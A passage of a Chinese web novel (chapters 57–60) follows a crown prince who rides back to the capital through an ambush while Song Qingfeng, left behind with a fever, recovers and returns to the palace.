突然一声尖锐的“嗖”声传来, 她眼睁睁瞧见那黑衣人脖颈中一个针尖大的黑孔,淌出细小的血线来,他豺狼一般的眼睛满是惊恐,却再说不出一个字来。 他的手松了,她悬空的身体立时吧嗒落在了地上,整个人瘫软成一团。 “宋娘子?宋娘子?” 宋轻风从混乱里回过神来,这才瞧清面前的人,是太子身边的人。 而她的身侧,倒着一个浑身酒气的大汉。 那侍卫满面紧张地道:“宋娘子,您没事吧?方才这人欲行不轨,还好属下来得及时,您受惊了。” 宋轻风一愣,下意识摸了摸脖子,冰凉一片,却并不疼。 并没人掐住自己的脖子,身后也没有追逐的人声。 她离方才站的地方只有两步路,这侍卫来得确实及时。 侍卫见她摸着脖子发呆,一时吓得脸都白了,小心问道:“宋娘子,您怎么了?属下带您赶紧回去寻个大夫。” 宋轻风却觉得嗓子一阵阵地发疼,脑袋更是晕得厉害。 这一夜奔波,又遭此厄运,叫她气力消了大半。 她哑着嗓子问道:“你一直跟着我?” 那侍卫点头道:“是。” 宋轻风忍不住瞟了瞟后方,那里空无一人。 那侍卫道:“太子殿下并未过来,他想是已回客栈了。” “哦。” “今夜多亏了你,不然我就惨了。”宋轻风勉强凑了个笑。 只是她双目红肿,眼泛泪花,嘴角的梨涡都浅了几分。 不过走了几步,便觉得浑身发冷,嗓子如滚了刀片,咽口水都难,知道这回又遭了…… 李岏抱着一怀的东西,去了客栈。 客栈里早被提前包了场,店主人也回避了。 他索性将一堆东西摊开放在进门的桌子上,只等着她进门的时候,可以一眼瞧见。哪知竟洋洋洒洒摊了一大桌。 他今夜左右无心做事,干脆坐下来,仔仔细细将歪七倒八的东西摆了整齐。 不知过了多久,却听高守匆匆进来,禀告道:“太子殿下,江南的人来信了。” 李岏皱了眉转过头来,这才想起这江南来信是什么。 只是他下巴撑在桌沿边上,正小心翼翼摆着一只九层塔。塔已完成了七层,只剩最后两层最为艰难。 高守屏住呼吸,只等他摆完再说。 李岏却边摆边道:“直接说吧。”—— 作者有话说: 晚安~ 第57章 第 57 章 可以陪陪我吗 高守展开信来, 方要细看,却见门外进来一人,跪地回道:“太子殿下, 苍西卫镇抚得知殿下来此,想求见殿下一面。” 李岏下巴并未从桌沿上抬起来,正专心致志摆着最后一层木塔。 若是稍有不慎, 恐怕就功亏一篑了。 高守一皱眉, 什么卫镇抚,不过是个五品武官, 也想求见殿下?这也来通禀! 他低头一瞧这不识时务的人居然是自己素来亲信的下属,愈发恼火地低声道:“什么东西也敢来打搅殿下,还不快滚。” 那人一愣, 连连点头道:“是。” 说着急急地就要下去。 李岏最后一层塔摇摇欲坠, 却终于摆上了,一座极精巧可爱的九层塔摆件成了。 他这才转过头来道:“你方才说什么?” 那人忙顿住脚步将方才的话说了,又补充道:“前些日子您在白头山下遇袭,属下受命前去驻军通信, 便遇到了他, 他特意避开了人,将属下拉到一旁说的。” 李岏却重复道:“苍西卫镇抚。” 那人见这情形不对,瞧了高守一眼。 高守一脸懵, 若说苍西都府求见也就罢了,怎么冒出个五品的卫镇抚来? 李岏摩挲着手中的小木块。 他不认识什么苍西卫镇抚, 但是前后一联系, 心中却隐隐有了猜测,连带着指尖都有些微微的发颤。 “人呢?” 那侍卫忙道:“他跟着属下一并来此,不敢进来, 正在一里外的街头等着。” 李岏扫了眼摊开满桌的东西,和自己摆了小半个时辰的木塔。 屋外黑沉沉的,宋轻风还未回来。 他与高守问道:“先收起来。” 高守忙遣人收了个包裹来,小心翼翼全都收了。 “叫人去煮点吃的备着。” “是。” 客栈里点着几只橘黄色的烛火。 门开了,烛火摇曳中,映着门口一个颤颤巍巍身影的时候,李岏放在椅背上的手不自觉收紧了。 光影中,那人耷拉着肩背,银丝满头,一步步挪了进来,进门就跪倒埋首在地。 李岏盯着这人的背影看了好一会,才道:“赵巡。” 听到赵巡的名字,站在一旁的高守浑身一震,不由一步跨在了太子的旁边,手紧紧按在了剑柄之上。 赵巡抬起头来道:“太子殿下竟一眼就认出了臣。” 高守见他模样不由一愣,面前这个满面皱纹,面头银丝的人,当年分明还是个强壮的青年,转眼怎么都这般老了。 李岏冷笑一声道:“孤才明白,沈渭消失多年却又突然在此现身,并不是孤得了他的消息,而只是他想将孤引到此地,你想见孤?” 赵巡顿了顿道:“太子殿下,果然聪慧依旧。” 李岏抚着座椅的扶手,道:“不想你而今在此地为官。” 赵巡跪在地上,双目却直视着他道:“当年大殿下身死,臣身为大殿下府统领,被贬在此为一卒,这些年承蒙君府厚爱,升为卫镇抚。” 李岏道:“一个区区卫镇抚,倒是委屈了你。” 赵巡却扯出一丝苦笑来道:“主君身死,臣却能苟活多年,已是无颜面对殿下了。” 李岏扯唇,声音透着凉意道:“所以你求见孤,便是为表对大殿下的忠心?” 赵巡却仿若没看见对方的森森冷意,只是道:“大殿下与您一向最为亲近,他是什么样的人,会不会通敌叛国,您比谁都清楚。” 李岏道:“与孤说这些,又有何益?若是你没其他话说,便早些走吧。” 赵巡道:“臣求见殿下,便是希望太子殿下,能为大殿下翻案,还大殿下一个清白!” 李岏面色如乌云,靠在椅背上像是在看一个笑话般,咬牙道:“你难道不知,大殿下便是死在孤的手上。当年是孤,手刃了他。人都死了,还要清白?” 他的指尖,似乎还有温热的触感,是当年的血,不小心撒在了指尖。 赵巡沉声道:“臣自然知道,但这些年来,臣已有实证。正是大殿下已死,更要还他清白。” 李岏不语,只是冷着脸看着他。 他颤巍巍伸到怀里。 高守走上斜前方,随时准备将对方的手斩落在地。 好在赵巡只是从怀中取出一封信来。 那信面发黄,纸张薄脆,像是有些年头。 他双手捧着信,举到额前道:“太子殿下,您请过目。” 高守犹豫了一瞬,看了看李岏,见他没有拒绝,这才上前接过信来,递给李岏。 李岏并没有伸手来接的意思,他只好将信放在一旁的案上。 赵巡却似心愿得偿,满面却都是嘲笑道:“想当年人人皆知白马战神,英勇无双,不想而今,却寂寂无名,这世上,还有谁记得白马战神的威名,又有谁记得正是白马战神,九死一生,得到北戎镇国玉玺。即便战神不在,却还是得来我朝这数年的太平。” “只有大殿下,为了查明白马战神的死因,伪身进入北戎,不想却被人诬陷,与北戎里应外合,通敌叛国。” “这便是大殿下在北戎时传回的文书,可证殿下的清白。” 哪知李岏还是一动不动,并没有要拿起信来看的表示,面上毫无表情地道:“你说完了?” 赵巡不想他是这样的反应,一时心凉了半截,面前的少年,冷情冷性到令人发指。 当年不过还是个半大的孩子,就能手刃亲兄长,又哪里会再为其翻案? 他心中失望到了极点。 沈渭说错了,这位太子,并非讲情义之人。 不过是为了自己的权位,不顾任何兄弟手足之情。 他心下冰冷,喉头滚了滚,浑浊的双目紧紧盯着李岏眼下的红痣道:“太子殿下,大殿下虽非陛下所出,但却是先皇后的亲子,是您的亲兄长。便是您这模样……都与大殿下,生得极像。” 李岏额角青筋突起,满面寒霜,一把站起来道:“滚出去。” 赵巡还欲再说,高守已上前道:“赵大人,请出去吧。” 说完也不等他反应,半拖半拽着立刻将人拖走了。 等他还未踏回客栈,却听“哗啦”一声响从客栈里传出来。 他进到屋内,才瞧见殿下手边的桌案都被推翻在地,一片狼藉。 众人默默地站着,埋着脑袋谁也不敢出声。 李岏却直起身来,面色如常与高守道:“方才说得江南的来信呢?” 高守忙将怀里的信递过来。 李岏接了,匆匆一扫,却面色一变道:“收拾一下,连夜回京。” 高守惊道:“太子殿下,怎么了?” 李岏将手中信递与他。 高守这才瞧见,是去江南查那女子身份的消息回来,先说了她在江南的信息,信的最后却说她后日要在春风楼挂牌接客了…… 宋轻风跟着侍卫回了客栈。 夜已有些深了。 客栈的大堂里静悄悄的一个人也没有。 烛火摇曳,只有一片桌椅板凳静静地立着,冷冷清清,一片说不出的萧瑟。 宋轻风有些头重脚轻,浑身发冷,抬眼瞧见客房都在二楼,便欲往楼梯上走。 还未抬步,却听门帘轻响,李岏从里头出来了。 身后跟着高守,手里捧着一个食盒。 宋轻风瞧了瞧,见他面上神色淡淡的,瞧不出喜怒。 好在也似乎并未因为她方才的不告而别着急。 李岏上下扫了她一眼道:“回来了?” 他说得彷佛她只是出门玩了一趟似的,没有追问她方才为什么突然消失,为什么去了这么久,为什么回来的时候,脸色这般难看。 宋轻风鼻子哼哼道:“嗯。” 说着嗅了嗅,闻到食盒里的香气。 侍卫打开食盒,从里端出两碗热气腾腾的面来。 这时候,瞧见这么一碗冒着热气,上头还盖着个荷包蛋的面条,宋轻风红肿的眼睛又一阵发酸。 两人就坐在一张桌子上,呼噜呼噜地吃着面。 宋轻风突然半路抬头,含糊不清地问道:“方才,方才在街上,你叫我的名字,是要与我说什么的?” 李岏拿筷子的手顿了顿,眼睛看着碗里的面道:“哦,忘了,想是没什么要紧的。” “哦。” 宋轻风捧着碗一仰脖子吃了个精光。 李岏见她连碗底汤都吸溜了干净,这才道:“今夜我们要赶路回京。” “今夜就赶?” 李岏点了点头。 宋轻风捧着发沉的脑袋道:“能不能,能不能晚些时候?” 李岏这才瞧出她的不对,见她面颊通红,一探手,才发觉她额头滚烫。 他不由心一沉,与跟着她的人道:“宋娘子何时发热的?” 跟着的侍卫一慌,宋娘子一路都好好的,还与他有说有笑,哪里瞧出来发热了? 李岏见问也问不出什么来,当即冷着脸训斥了一句,便抱起宋轻风就上楼,与旁边人道:“还不去寻大夫。” “是。” 宋轻风身体悬空,扯住他的衣领道:“对不起啊,我好像拖后腿了。” “我也不知怎么了,以前身体棒得像牛一样,怎么进了东宫好吃好喝地养着,倒是养得娇惯了起来。” 李岏眉心锁紧,将她放在床上,用被子盖了,这才道:“你以为风寒是闹着玩的?前些日子没好彻底,可不就落下了病根。” 说着他却顿了顿,才道:“也是我的错,不该带你出来。” 宋轻风浑身忽冷忽热,很是难受,却半抬起身子道:“没有没有,若是以后有机会,千万带上我。” 李岏见她模样,沉默下来,好一会又道:“你这模样,是不能赶路了,这些日子便在此好些养伤,我留下人来照顾你。” 宋轻风听到他说这样的话,便知是要将她留下,他今夜还会赶路。 她只是缩了缩脑袋,道:“哦。” 过了一会,却见李岏转身出门,她探出脑袋小声地道:“可以留一会陪陪我吗?” “什么?”李岏转过身来问道。 宋轻风忙道:“没什么。” 第58章 第 58 章 我方才在想,或许我们。…… 最后一片衣角消失, 宋轻风徒然地躺回了床上。 陌生的环境叫她浑身不自在,盯着床帐看了一会便有些眼睛发酸。 铺上棉被松软,裹在里面极为舒适, 她脑袋昏昏沉沉,浑身发冷,紧紧裹着被子就睡着了。 不知睡了多久, 却感觉到有人靠近。 宋轻风勉强睁开眼睛, 正瞧见一人弯腰在床尾,一直冰冷的脚底处却传来了温暖。 年轻人的长发披散在肩头, 侧颜在烛火中忽隐忽现。 李岏直起身来,走到床头。 李岏面色很是难看,他也不坐, 只是站在床边, 她额头滚烫,脚底这么久却还发凉,这热只怕一时褪不下去…… 见她面颊通红,双目迷迷糊糊地勉强睁着看他, 眼尾还挂着几道泪痕。 他心中发堵, 皱眉与她道:“拿了个暖炉给你捂脚。” 宋轻风伸了伸脚,果然脚边暖炉格外的暖和,她裹在被子里这么久, 脚却依旧冷得像冰块一样。 碰到暖炉,果然暖和了许多。 抬头见他, 少年人的身型纤瘦, 面色莹白,虽然没再说什么,但面目紧锁, 却满目萧索。 她心中莫名一抽,忍不住问道:“殿下,您为什么对我这么好?” “好?”李岏一愣,他对她,谈得上好吗? 他自幼冷漠,即便是血脉至亲,也从未付出过真心。 对她更是疾言厉色的时候多,温柔以待的时候少。 不过送了个暖炉,她就觉得这叫好了吗? 宋轻风没回应,目光扫了一眼他的衣裳。 衣裳已换了厚实的行装,外头披了狐裘。 这是出门的衣裳。 她问道:“您马上要出发了吗?” 李岏见她只是露出黑宝石一般的眼睛看他,丝毫没有抱怨他这时候将她丢在此地。 可是她高热不退,虽然此地的大夫按着他的方子开了药,可这病来如山倒,再厉害的药方,对付风寒也是素手无策。 他心下生出愧疚,面上却神色不显,只是点头道:“嗯。” 宋轻风眼神暗了暗,道:“深夜赶路,一切小心。” “嗯。” 两人面面相觑,都没有说话。 不知他站了多久,却听门口传来磕门声,高守的声音传进来:“殿下。” 李岏动了动有些麻木的脚道:“我走了。” “嗯。” “你好生照顾自己,莫要乱跑了。” “好。” 李岏点了点头就出了门。 门口高守已收拾妥当,身后跟着五六个侍卫。 他与几人道:“宋娘子交与你们,不可有半分闪失。” 那几人忙跪地应是。 李岏看了看客房,心中生了焦躁。 方才江南的来信里,那女子在江南自小孤身一人,一向深居简出,极少与人交往,当地人对其身世也传言颇多,其中最多的是说她是京城落魄大家的小姐,逃难到此。 后来听闻是京中亲眷得知她的下落,特意来接她进京。 不知在京中发生了什么,她却沦落进了春风楼成了歌女,如今居然要挂牌接客了。 这些都很普通。 可不普通的是,她是那些人当日精挑细选,送进回露宫的人偶。 更不普通的是,她姓白,而今艺名,白窈窈。 不管是那些人设的圈套,还是真的,他都不能冒这样的风险。 哪怕只有一丝的可能,他不能叫她,沦落在春风楼里,成为他人的玩物。 李岏沉声道:“走吧!” 宋轻风看着关得严严实实的门,屋内归入寂寂。 烛火摇摇曳曳,将床帐的影子投在墙上。 她喝了药,却还是头疼,浑身发寒,只得将被子紧紧地裹了。 可好似哪里透风似的,总有凉意从四面八方涌进被子里来。 寒冷孤寂的感觉,她却是再熟悉不过了。 宋轻风尽力将自己缩成了一团,努力闭起眼睛。 可方才街上瞟见的飘动的衣角却在脑海里挥之不去,不一时却又想起太子方才,站在这屋里的样子。 墙上他长长的影子,似乎还在。 却突听到一声支呀,她一把从被子里伸出头来道:“你回来了?” 可屋内空空如也,门还是闭着,倒是一旁的窗户,被风吹开了缝,在风下晃荡了几下。 原来只是风声。 她颓然地落回枕头上去。 “支呀”声响。 直到人影走到床前,她才被投下来的阴影吓了一跳,险些心跳漏了半截。 反应过来,才发现太子站在床前。 宋轻风一把从被窝里直起身来,嘴角的梨涡隐现:“您怎么回来了?” 李岏见她惊喜模样,一时还未反应。 宋轻风却已自床上起身,一把抱住他道:“你不走太好了!我方才在想,在想,或许我们……” 还未说完,却见李岏手中拿着一只面人。 那面人与他神似的模样,叫她口中一顿,松开了他。 李岏面前一空,感到她的目光,讷讷地道:“你不小心弄丢了,我给你送回来。” “弄丢了?” 宋轻风接了面人。 李岏见她突然就安静下来,方才瞧见他,以为他不走了的惊喜彷佛昙花一现。 他嘴唇动了动,想到要不别走了,不管那些事了,那些人想做什么便做什么去吧。 可是,他不能。他若不亲自去,那些人又会做出什么事来。 或者带着她一起。 可是若想后日赶到京师,只能快马连夜赶路,她如今这样,如何吃得消。 一声棒响,三更天了。 若是再不赶路便真的赶不上了。 李岏道:“你好好养病,我会快些来接你。” “嗯。”宋轻风道,“您放心走吧。” 一切终于重又归于寂静。 宋轻风拿着面人在手里左瞧右瞧,瞧着瞧着终于睡了过去。 更深露重,一路寒风裹面。 李岏驾着快马,仿若未觉,一颗心却如结了冰。 他脑中反复想起方才宋轻风惊喜的神情,和听闻他还要走的失落,心中如热油滚煎。 一时不知自己的所言所行是对是错。 只能等以后,再慢慢弥补。 他用力甩了马鞭,只恨这马不生了双翼,好叫他早些回来…… 不知什么时辰,宋轻风浑身酸痛,热得已有些思绪模糊。 浆糊一般的脑袋,叫她发现屋内有个陌生人的时候,都未生出半分紧张来。 屋内的烛火早燃尽了。 那陌生人远远地站在门边,只有黑影,什么都不清。 这个人是谁? 宋轻风的脑子已烧成了浆糊,根本没有半点思考的能力。 但她却知道,这人在看她。 她也知道,这人不是坏人。 只是他是谁,为何来此,她不知道,她甚至分不清现在是现实还是梦。 宋轻风一时觉得有些好笑,自己这疑神疑鬼的毛病,是愈发地重了。 肯定又是烧糊涂了。她再撑不住,眼睛彻底闭了起来。 恍惚中只觉得一双冰冷的手,摸在了额头上,她不觉得害怕,只觉得好清凉,真舒服啊。 舒服地叫她就地打了个滚。 等她从地上爬起来,才发现树荫浓密,却是一个夏天。 远处蝉鸣阵阵,偶或有凉风从耳侧吹过。 宋轻风四处看了看,觉得有些眼熟,她却不知为何并不深究,在绿草地上跑来跑去,却见到一处花树开得极为茂盛,幽香阵阵。 她看到花树,也觉得眼熟,但是这梦中却也没有深究,只是绕着树赞不绝口。 却听身后一个沉稳的小孩声音响起:“这是兰树。” 宋轻风转过头来,便见到一个白白净净的小男孩,背着手,远远地站着。 宋轻风好奇问道:“你是谁?” 说完才发现自己的声音很是稚嫩,她看了看手,才发现自己变成了比这小男孩还小的孩子。 小男孩小小年纪,却皱了眉道:“你又是谁?” 宋轻风却一昂头道:“不说算了。” 两人都不说姓名,索性也互不相问了。 宋轻风绕着兰树道:“你们宫里的花可真好看,我从没见过这么好看的花。” 小男孩负着手不说话,显然对这花树并没有半点兴趣。 宋轻风道:“你怎么愁眉苦脸的,我们一起玩吧?” “玩?”小男孩傻子一般重复她的话。 这傻乎乎的模样,让宋轻风忍不住咯咯笑,直将他笑得耳尖发红,才止住了。 宋轻风不知从哪里翻出了一只宫人用的小铲子,就在花树下挖呀挖了起来。 小男孩负着手,并不挖洞,却站在旁边瞧了半日。 宋轻风人小力气小,挖了半日不过挖了个碗大的洞。 小男孩见她面上沾着泥,忍不住道:“挖洞做什么?” 宋轻风道:“你好笨呀,挖洞自然用来埋东西呀!” 说着她却顿住了,看着树下的黑洞出神。 小男孩察出不对,问她怎么了。 “我是不是把什么弄丢了?” 宋轻风转过头来,却不自觉朝他的面颊伸出了手。 小男孩下意识避让开,看着她脏兮兮的手皱眉道:“做什么?” 宋轻风看着他眼下的皮肤,迷茫地道:“这里,是不是缺了什么?”—— 作者有话说:来自手慢星人的晚安~~ 第59章 第 59 章 去,守着她 马蹄皆裹了棉布, 一群人在黑暗白日里声音沉闷,奔驰不息。 天色将明之时,无月无星, 下着小雨。 正是天地至黑,伸手不见五指。 即便李岏一行人所骑皆为军马良驹,到了此刻也不得不慢了下来。 好在连着赶了一日一夜的路, 总算要到了。 眼见已进京畿地界, 高守立即遣人前往通知西山大营,他这一路绷紧的神经, 此刻终于松了一丝。 太子殿下将大部分侍卫留在了苍西镇,只留下几人随行。 他知道殿下的脾气,再如何劝也是无果。 他担惊受怕了一路, 好在这一路虽人困马乏, 却也一路顺利,竟比原预料的还早了一些…… 而今已在京畿,刺客再嚣张,也不敢在此地动手。 不久之后再由西山大营的人护卫殿下, 那便更是万无一失了。 想及此, 他驱马上前,凭着感觉寻到殿下的马旁,声音带着哑意道:“殿下, 天黑难行,不若在此扎营, 等谢统领的人到了再走?” 李岏穿了全身的雨蓑, 只一双眼睛露在外头。 斜雨越过帽沿拍打在面上,双颊虽被油布裹着,却也冰凉一片, 麻木地失了知觉。 他闻声点了点头,想起高守恐怕看不见,这才开口道:“也好。” 高守当即呼喝左右,准备寻地扎营。 哪知话音未落,只听“当”的一声,细微的弦声从雨声中来。 战马前蹄骤然一滞,马身猛然前倾! 猝不及防的埋伏下,眼见着人就要被甩飞出去,在此千钧一发之际,李岏双腿绷紧,用力踩了马镫,在马倒地前先一步飞身而出。 还未落地,李岏手腕一翻,抽出腰间长剑,在地上一点,暂缓了身势。 而后双脚在地上一扫,耳中果然听闻叮叮声。 他眉目挂着冷笑,隐约瞥见泥泞中寒芒点点,果然铺满了尖锐的铁藜,铁藜的铁刺在雨水中泛着冷光,若方才落马时没有先一步扫开,脚底必已是血肉模糊。 还未喘息,夜雨潇潇里传来“哒”地一声极轻微的声响。 李岏心中警铃大作,凭借着身体的本能一侧首,一只黑沉沉的弩箭擦脸而过,留下一丝血线。 旁边有人中箭的闷哼声传来。 雨水顺着眉骨滴落,李岏冷凝的眉头扫过路侧,一矮身消失在黑暗里。 一切发生在瞬息之间,高守方站稳身形,恐暴露位置,不敢发出半点出声音。 哪知这箭与上次铺天盖地的箭羽不同,极为阴冷隐蔽,只一发后,竟没了踪迹。 他却愈发心惊,不知对方敢于在此地动手,后手到底是什么。 黑暗中急切地去寻殿下。 他在黑暗里来去几回,忍不住汗毛倒竖,头皮发炸,殿下不见了! 他努力镇定了心神,也顾不得暴露自己的目标,一动不动地站在雨地里,试图从淅淅沥沥的雨声里,辨别出殿下的方位。 可万物归寂,方才的一箭消失后,再没有动静。 而如今要寻到殿下,必要先解决了埋伏在周围的人。 他知道,在他们身旁的黑暗里,不知蛰伏了多少野兽,只是在寻找一个时机。 好在这些人在京畿边境,设下埋伏,一不敢将场面闹大,二不敢落下半分把柄。 只能躲在黑暗里,揪准机会放冷箭。 想通这样的关节,他命几人自马上取下火把。 几人潜行至路旁,迅速将手中火把点燃,一把扔了出去。 却听弩箭响起,对着火把的方向密密麻麻射去。 几人乘机对着对方藏人的方位,举起手中弩箭就是一通扫射。 果然雨夜里传来闷哼。 高守欲要进一步靠近,哪知树林里却亮起一根火把。 他双目一紧,而今大家都在黑暗里,不过是看谁先暴露,何人敢这般明目张胆! 哪知还未想完,他一眼瞧见那举着火把的不是别人,正是太子殿下。 高守目眦欲裂,再顾不得,当即飞身上前。 李岏并未瞧他,而是蹲下身来,似乎在地上看着什么。 高守这才知道,周围的敌人似乎全都死了,他忙接过火把,帮着殿下对着地上照了一圈。 李岏看了一会才道:“人跑了。” 高守一惊道:“难道还有活口?” 李岏道:“嗯,孤留下的,看这痕迹,是北戎人。” “北戎人?”高守一时无语,若说北戎人敢埋伏殿下,并不奇怪,可这是京师重地,居然有北戎人敢堂而皇之地射杀当朝太子? 他忍不住道:“这帮畜生!胆敢如此明目张胆,勾结北戎!” 雨水刷刷,很快将地上的痕迹都冲了干净。 李岏直起身,看着周围的一切,突然道:“听闻当年,白马战神就是在京师重地,被北戎人报复而亡。” 高守道:“保不齐,也是里应外合。” 李岏还未说话,却突然听到远处传来一女子的惊呼声。 雨声淅沥,听不真切,可他心头却猛地一紧,如被无形之手狠狠攥住。 高守皱眉道:“怎么听着,像是宋娘子的声音。” 话音未落,却见殿下已拔腿跑了。 高守反应不及,还未跟上,却见远处殿下身形一顿,左手伸出,追影激射而出。 而另一只手掌压在胸口。 等他上前,却见殿下的胸口上,箭身末入蓑衣,只余箭尾,鲜血顺着指缝,汩汩而出,还未及染红蓑衣,便被雨冲了干净。 高守心胆俱裂,一把扶住他的身子,惊叫道:“殿下!” 李岏被雨打湿的面目愈显苍白,眉头簇起。 好在方才的人不是她。 但是有人今夜敢拿她做饵,她的处境便极危险。 此刻真恨不得飞身过去,看她是否还安好,更恨不得将那处围成铁桶一块。 还未想完,却听远处传来铮铮马蹄,是西山大营的人到了。 他颤着唇与高守道:“叫他们,去苍西守着。” 什么! 纵使高守对他一向令行禁止,唯命是从,此刻也生了犹疑,西山大军未受圣旨,突然离开京师跑去苍西,这可是惊天之事。 不说陛下那边会如何想?其他人若是利用起来,便是安上个举军叛乱的名头,也未可知。 还未来得及规劝,李岏却已自怀里掏出他的印玺道:“立刻去。” “是。”高守不敢耽搁,忙双手接了印玺,去寻谢统领…… 十月的天气,却已步入初冬。 宋轻风发了几日的烧,浑浑噩噩,一时分不清现实和幻境。 浑身的衣裳湿了又干,干了又湿。 大夫每个时辰都来把脉,摇的头一时比一时幅度大。 开得药,也一时比一时多。 送药来的侍卫,脸色也一时难看过一时。 不过十月初,屋内的炭盆就生了好几个。 宋轻风禁不住想,难道自己此生,是卒于一场风寒? 想来莫名又觉得有些好笑。 她年少时,无家可归,熬过了西北一个又一个寒冬,倒是活蹦乱跳地长到这么大,不想而今过上了好日子,却被一个小小的风寒打倒了? 果然人不能强求地过上不属于自己的日子。 又或许是她太坏,老天看不下去收她来了。 唯一的遗憾,就是死在这里人生地不熟的,不知自己成了野鬼之后,还寻不寻得到回安西的路。 不知太子若是得到她的死讯,会不会有些难过? 她想起前夜他离去的背影,忍不住拿起床头的面人来瞧。 这面人嘴角紧紧抿着,眉目很淡,一脸不情愿的样子。 一瞧就是太子。 只有他,会将这么好看的一张脸,过成这个样子。 不过举了这一会,她就手发酸,再拿不住。 睡了不知几日,也不知白天黑夜。 等她从一场大汗淋漓里再醒过来时,却见大夫缕着胡须,露出笑意来道:“就说老夫妙手回春,这般凶险的病,都被老夫救回来了。” 宋轻风从床上坐起来,看着大夫自吹自擂,忍不住捧场道:“您就是再世华佗,绝世神医。” 大夫再厚的面皮,也有些发红,咳嗽了一声道:“哪里哪里,也是小娘子的好造化。” 宋轻风道:“哪里哪里,全靠大夫的妙手回春。” 两人倒是互相谦让了起来,一旁的侍卫忍不住擦了擦额上的汗。 他们这些天,几乎就是将脑袋系在裤腰带上了。 这宋娘子,当真是从鬼门关走了一遭。 好在是有惊无险。 宋轻风趁着侍卫送药的功夫,忍不住问道:“殿下走了有几日了?” 侍卫回道:“十日了。” 十日? 宋轻风惊地说不出话来,怎么也没想到自己居然在这客栈一住就是十日! 不知这房钱就花了多少钱。 还有她流水一般的药钱。 可是十日了,殿下居然还未来? 宋轻风咂了咂舌,又问道:“殿下可有信回来?” 侍卫摇头道:“不曾。” 说完却想到驻守在此地的西山大军,忍不住心尖颤了颤。 宋轻风想了想道:“要不我给殿下去封信,叫他知道,我如今已经好了。”—— 作者有话说:晚安么么! 第60章 第 60 章 殿下知道吗? 宋轻风提起笔来方写两个字, 却想到他的字。 他常埋首书案,随手写的小字,清秀隽永, 铁画银钩。 低头看自己的字,实在有些难以入目,她一时有些汗颜, 索性丢开了也不再写。 阴雨连绵了好几日, 宋轻风彻底下了床,恢复了生龙活虎。 她又去了集市闲逛, 盯住来来往往的每个人,却再未见到任何熟悉的身影。 许是那什么节日过了,集市也冷冷清清下来。 如此逛了两日, 太子依旧没有回来接她。 也没有任何消息传回来。 宋轻风问侍卫, 侍卫含含糊糊,目光闪烁。 她想起在东宫时,太子整日里早出晚归,忙得不可开交, 那夜又走得这样急, 一定是出了大事。 她看着来来往往的陌生人,突然想要抛弃一切,什么也不管, 直接回安西去。 听闻那里地动之后,到处都是一片废墟。 她的破云庙, 不知是否还完好。 生了这心思之后, 她想回安西的心愈演愈烈,当即拍了拍衣服,干脆寻个机会悄悄走了。 索性她也没什么行李, 既打定主意,她转身与跟在不远处的侍卫道:“有些冷,能帮我去拿件衣裳么?” 其中一个侍卫领命去了,她又打发了另两个人,叫他们去买糖,买小甜点。 好在她离客栈并不远,四周又有西山大营的人守着,众人也放心的去了。 宋轻风常年混迹在外,乔装躲避极为熟练。 她若想躲,鲜少有人能找到她。 宋轻风快步走到一个竹竿前,正欲随手抓过竿子上挂的衣裳,却突然鼻端闻到一阵香气。 那香气在寒风里,扑面而来,叫她顿住了手。 旁边有人道:“姑娘,来吃碗面?” 宋轻风转过头,瞧见那摊主正盛好一碗冒着热气的汤面来,正与那夜的一样。 煮得细细的白面,卧着一只饱满的荷包蛋,上头飘着几粒葱花。 那摊主是个小姑娘,转头见宋轻风盯着面出神,一时笑道:“姑娘也饿了吧?我瞧你在这街上逛了许久了。天这么冷,没什么比一碗热汤面更叫人舒服的了。” 宋轻风松了手里的衣裳,走到摊位前。 就着摊主端来的面,哧溜哧溜吃了干净,连面汤都一滴不剩。 果然热汤下肚,浑身的寒意都驱散了。 她想起那夜,受了轮番刺激,浑身冰凉入骨,浑浑噩噩的回到客栈,太子什么也没问,两人面对面吃了一碗面。 不知是何缘故,便是融融烛光下,这么简单的一碗面,将她几乎奔溃的心,拉了回来。 后来他连夜要走,风寒露重,她也没问他为什么这么急着赶回去。 他虽然与兰哥哥生得像,但他毕竟不是兰哥哥。 他们虽然在一起,但是注定是两个世界的人。 他的世界,终究与她无关。 只是,宋轻风突然想,他那一路上,不知寒风夜雨之中,可有一碗热汤面? 宋轻风接了侍卫递过来的衣裳,索性也不再等。 天方麻麻亮的时候,一群人踏上了回京的路。 快进上京城,瞧见路旁的树木落叶飘零,光秃秃的一片,她一阵恍惚。 出来是十月初,回来时居然已是十月末。 空气里寒意陡盛,似乎混着冰渣,只怕就快要下雪了。 一行人虽然穿着普通,却未遇到任何阻拦,很快便直奔皇城。 在东华门外下车的时候,宋轻风却生了丝莫名的亲切感。 门口的守卫居然还是以前那两个。 在他们旁边,还站着个笑眯眯的大太监,正是全福。 宋轻风一步跨上前去,笑得大大的眼睛都成了缝,摆手与他道:“全福公公好啊。” “您居然特意在此等我?” 全福瞧见宋轻风原本就瘦小的身型,更是有些瘦脱相了,面上生了更多同情的道:“太子殿下去了大内,一时恐怕回不来,奴婢伺候您先去破云院吧。” 宋轻风点头道:“劳烦您了。” 两人顺着宫墙,往破云院去。 一路上竟一个宫人也未遇到。 还没进院子,便见乌梅又绿二人,顶着大大的桃子眼睛站在门口,瞧见她来,她二人激动地跑上前来,却扑通跪地,抓住她的腿道:“宋娘子,您可算回来了!” 乌梅哭道:“奴婢还以为您再不回来了呢!” 这熟悉的乌鸦嘴。 宋轻风拉起二人,仔细瞧了瞧,又叫二人走两步,瞧起来上回挨的打是恢复的差不多了。 又绿看着她,双眸泪光闪烁,眼睛肿得桃子一般,她看了看跟在一旁的全福,只是道:“听闻娘子要回来,奴婢已将屋子收拾干净了。” 宋轻风许久不来破云院,一时倒是想得紧。 刚打开院门,便感觉一只大黑鸟扑面而来,险些将她撞翻。 嘎嘎嘎嘎乱叫,在她肩头扑腾着翅膀。 它不会说话,倒将这回归的气氛渲染得极为热烈。 宋轻风一时来了劲,跑进了院子左瞧瞧,右看看,又去膳房里瞧来瞧去,里头正热气燎燎,在做饭。 她嗅了嗅香气,又跑去卧房的床上坐来坐去。 突然听到呼噜呼噜的声音,低头却是一只半大的小白猫,正走上前来,喵呜喵呜地蹭着她的腿。 宋轻风心下到底生了感动。 一把躺倒在被褥上。 她离开这么久,原来他们果然都是想她的! 全福站在门口,看她在院子里跑来跑去,喝了几口水,又摸了几回猫,又把玩了一会床头的兰花,几乎将她在这里的所有东西都翻了个遍,又翻倒在床上。 他心中叹息一声,这才道:“宋娘子刚回来,若有哪里不周到的,只管派人吩咐奴婢。” 宋轻风点了点头。 眼见全福要走,她想了想叫住他道:“太子殿下今晚何时回来?我想见他。” 